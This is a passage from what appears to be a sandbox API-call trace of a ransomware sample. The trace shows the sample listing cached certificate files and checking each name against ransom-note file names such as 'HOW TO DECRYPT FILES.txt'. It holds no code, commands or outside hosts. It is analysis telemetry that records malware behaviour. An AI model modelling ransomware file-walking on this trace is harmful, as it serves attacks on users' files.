HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.074] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.074] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0087.074] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.074] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned 1 [0087.074] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned 1 [0087.074] lstrcmpiA (lpString1="", lpString2="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned -1 [0087.074] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6" [0087.074] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.074] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.074] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0087.074] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.074] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned 1 [0087.074] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned 1 [0087.075] lstrcmpiA (lpString1="", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned -1 [0087.075] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD" [0087.075] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.075] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.075] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x611ea800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x611ea800, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0087.075] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.075] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned 1 [0087.075] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned 1 [0087.075] lstrcmpiA (lpString1="", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned -1 [0087.075] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0" [0087.075] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.075] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.075] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0087.076] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.076] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned 1 [0087.076] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned 1 [0087.076] lstrcmpiA (lpString1="", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned -1 [0087.076] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E" [0087.076] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.076] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.077] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1 [0087.077] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.077] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned 1 [0087.077] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned 1 [0087.077] lstrcmpiA (lpString1="", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned -1 [0087.078] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1" [0087.078] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.078] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.078] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5836df00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5836df00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1 [0087.078] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.078] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned 1 [0087.078] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned 1 [0087.078] lstrcmpiA (lpString1="", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned -1 [0087.078] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E" [0087.078] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.078] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.078] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1 [0087.078] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.079] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned 1 [0087.079] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4" [0087.079] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.079] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.079] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1 [0087.079] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.079] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778" [0087.079] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.079] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.079] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1 [0087.079] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.080] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED" [0087.080] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.080] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.080] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1 [0087.080] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.080] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E" [0087.080] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.080] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.080] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1 [0087.080] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.080] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30" [0087.081] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.081] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.081] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1 [0087.081] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.081] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB" [0087.081] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.081] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.081] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x57004f, dwReserved1=0x540020, 